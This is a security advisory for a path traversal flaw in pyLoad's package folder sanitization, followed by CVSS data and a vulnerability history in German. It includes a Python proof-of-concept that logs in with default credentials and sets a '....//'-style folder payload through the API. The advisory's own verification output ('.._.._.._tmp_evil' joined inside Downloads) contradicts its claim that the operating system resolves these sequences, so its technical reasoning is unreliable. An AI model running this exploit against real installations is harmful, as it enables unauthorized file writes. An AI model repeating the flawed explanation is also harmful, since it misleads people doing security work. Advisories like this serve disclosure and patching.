PyLoad Vulnerable to Path Traversal via Package Folder Name
Insufficient sanitization of package folder names allows writing files outside the intended download directory.
Affected Component
src/pyload/core/api/__init__.py- Function:
add_package()
Description
Package folder names are sanitized using insufficient string replacement:
folder = (
folder.replace("http://", "")
.replace("https://", "")
.replace("../", "_") # Bypassable!
.replace("..\\", "_")
.replace(":", "")
.replace("/", "_")
.replace("\\", "_")
)
The ../ replacement is bypassable. The pattern ....// becomes .._ after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS.
Proof of Concept
Setup
pip install pyload-ng[all]
pyload -d &
# Default credentials: pyload / pyload
Exploit
#!/usr/bin/env python3
import requests
BASE_URL = "http://localhost:8000"
USERNAME = "pyload"
PASSWORD = "pyload"
session = requests.Session()
# Login
session.post(f"{BASE_URL}/login", data={
"username": USERNAME,
"password": PASSWORD
})
# Create package with malicious folder name
# The pattern ....// bypasses the ../ replacement
# After sanitization: .._ (still contains ..)
folder_payload = "....//....//....//tmp/evil"
resp = session.post(f"{BASE_URL}/api/add_package", json={
"name": "test_package",
"links": ["http://example.com/file.txt"],
"dest": 1 # Destination.QUEUE
})
package_id = resp.json()
print(f"Created package: {package_id}")
# Set malicious folder name
resp = session.post(f"{BASE_URL}/api/set_package_data", json={
"package_id": package_id,
"data": {"folder": folder_payload}
})
print(f"Set folder payload: {folder_payload}")
print(f"Response: {resp.status_code}")
# When download occurs, files will be written outside download dir
print("[+] When a file is downloaded, it will be written to manipulated path")
print(" The sanitized folder still contains '..' sequences that OS resolves")
Verification
Check where files would be written:
import os
download_dir = "/home/user/Downloads"
folder = "....//....//....//tmp/evil"
# Simulate pyLoad's sanitization
sanitized = folder.replace("../", "_").replace("/", "_")
print(f"After pyLoad sanitization: {sanitized}")
# Output: .._.._.._tmp_evil
# When pyLoad does os.path.join and then opens the file:
final_path = os.path.join(download_dir, sanitized)
print(f"Joined path: {final_path}")
# Output: /home/user/Downloads/.._.._.._tmp_evil
# The .. sequences remain and could be resolved by OS during file operations
Impact
Authenticated users with ADD permission can:
- Write files outside the download directory
- Potentially overwrite system files (depending on permissions)
- Clutter system directories with downloaded content
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | pyload-ng | < 0.5.0b3.dev100 | 0.5.0b3.dev100 |
Verweise
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N- Schwäche (CWE)
CWE-22- Plattform
- Python (PyPI)
- Paket
pyload-ng- Veröffentlicht
- 05.05.2026
- Aktualisiert
- 11.10.2026 12:19
Quellen und Lizenzen
OSV / GitHub Advisory Database - PYSEC-2026-128 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-97r3-5w84-r4q8 - CC BY 4.0
Schwachstellenhistorie: pyload-ng
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 58
- Erste → letzte
- 01.2023 10.2026
- Ohne Fix
- 24
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 9
- Hoch 23
- Mittel 25
- Niedrig 1
Veröffentlichungen pro Jahr
- 2023: 9
- 2024: 8
- 2025: 8
- 2026: 33
-
PyLoad Vulnerable to Path Traversal via Package Folder Name dieser Eintrag
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